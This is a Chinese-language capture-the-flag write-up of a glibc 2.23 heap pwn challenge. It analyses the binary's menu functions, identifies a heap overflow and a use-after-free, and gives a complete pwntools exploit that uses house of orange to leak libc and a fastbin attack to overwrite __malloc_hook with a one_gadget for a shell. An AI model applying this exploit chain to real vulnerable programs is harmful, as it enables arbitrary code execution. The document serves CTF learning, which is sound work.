
今年国赛初赛的一道pwn,感觉其实今年国赛初赛比去年的难度要高不少,当时赛场上5道做了3道,今天先更新这个比较常规的堆题吧。
看题目名字其实就猜到跟house of orange 有点关系可能。
首先我们看一下保护吧

checksec
保护全开。附件给了libc,版本是2.23,算是堆题中版本比较低的了,没有tcache,保护全开的情况下有限考虑malloc hook而且没有tcache估计要配合fastbin attack了。
看下main

mian
经典的菜单题目

menu
menu里面增查删改编辑全都有,还挺全的,标准的orange应该是没有free的,有点奇怪,继续一个一个函数看:

add
add函数允许我们控制malloc分配的堆块大小,最大为0x1000,size和堆指针分别由global_size和ptr两个全局变量保存,因为不是数组用来存储各个堆块size和指针,所以相当于我们“手里”同时只有一个堆块可以被操作。后面的新的堆块add进来就会覆盖ptr指针我们就操作不了以前的堆块了。

show
show函数直接打印ptr中的内容,只给我们一次机会show,应该就是泄露地址用的了。没啥问题。

delete
delete函数只给了一次机会free,用了之后就相当于没有free了,这里free之后没有清空ptr指针,存在UAF。那看来可能还是要走orange,相当于泄露libc可以走top chunk->unsorted bin 这一套,把这一次free留下来在别处用。

edit
edit函数可以溢出8字节堆块上的数据。
分析到这我们理一下攻击思路:
1、由于堆块大小可控,我们可以走orange,溢出top chunk 的size来制造一个unsorted bin,然后用这一次show得到libc地址。
2、之后用这一次free的UAF来打fastbin attack,伪造malloc hook附近的fake fast chunk,因为malloc hook附近有很多0x7f的libc地址,所以通常我们都能找到size为0x70的fake fast chunk,之后申请到malloc hook的堆块直接修改其为one_gadget即可。
完整exp 如下:
from pwn import *
from Crypto.Util.number import *
# from ctypes import *
# libc = CDLL("libc.so.6")
context.arch='amd64'
context.log_level='debug'
r=process('./pwn')
# r = remote('8.147.133.230' ,29146)
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')
# binnary = ELF('./Random')
# r = gdb.debug('./pwn',' b main')
def add(size,content):
r.recvuntil(b'Please input your choice:')
r.sendline(b'1')
r.recvuntil(b'Please input the length of the diary content:')
r.sendline(str(size).encode())
r.recvuntil(b'Please enter the diary content:')
r.sendline(content)
r.recvuntil(b'Diary addition successful.\n')
def edit(size,content):
r.recvuntil(b'Please input your choice:')
r.sendline(b'4')
r.recvuntil(b'Please input the length of the diary content:')
r.sendline(str(size).encode())
r.recvuntil(b'Please enter the diary content:')
r.sendline(content)
def show():
r.recvuntil(b'Please input your choice:')
r.sendline(b'2')
def delete():
r.recvuntil(b'Please input your choice:')
r.sendline(b'3')
r.recvuntil(b'Hello, I\'m delighted to meet you. Please tell me your name.\n')
r.sendline(b'keyboard')
add(0x50,b'a')
add(0xf8,b'a')
edit(0x100,b'a'*0xf8+p64(0xea1))#堆溢出,修改top chunk
add(0x1000,b'bbbbbbbb')#orange 得到unsorted bin
add(0x100,b'')
show()#泄露libc
leek = r.recvuntil(b'\x7f')[-6:][::-1]
libc_base = bytes_to_long(leek) - 0x3c510a
print('libc base is ',hex(libc_base))
malloc_hook = libc_base+libc.symbols['__malloc_hook']
print('malloc_hook is ',hex(malloc_hook))
add(0x60,b'a')
delete()
edit(0x60,p64(malloc_hook-0x23))#UAF fastbin attack,伪造堆块到malloc hook附近
og = [0x4527a,0xf03a4,0xf1247]
add(0x60,b'a')
add(0x60,b'a'*0x13+p64(og[1]+libc_base))#覆盖malloc hook为one_gadget
r.recvuntil(b'Please input your choice:')
r.sendline(b'1')
r.recvuntil(b'Please input the length of the diary content:')
r.sendline(b'200')#触发malloc 执行one_gadget 得到shell
r.interactive() 脚本攻击结果:

exp result
算是比较常规的堆题了。
By Del0n1x
Keyboard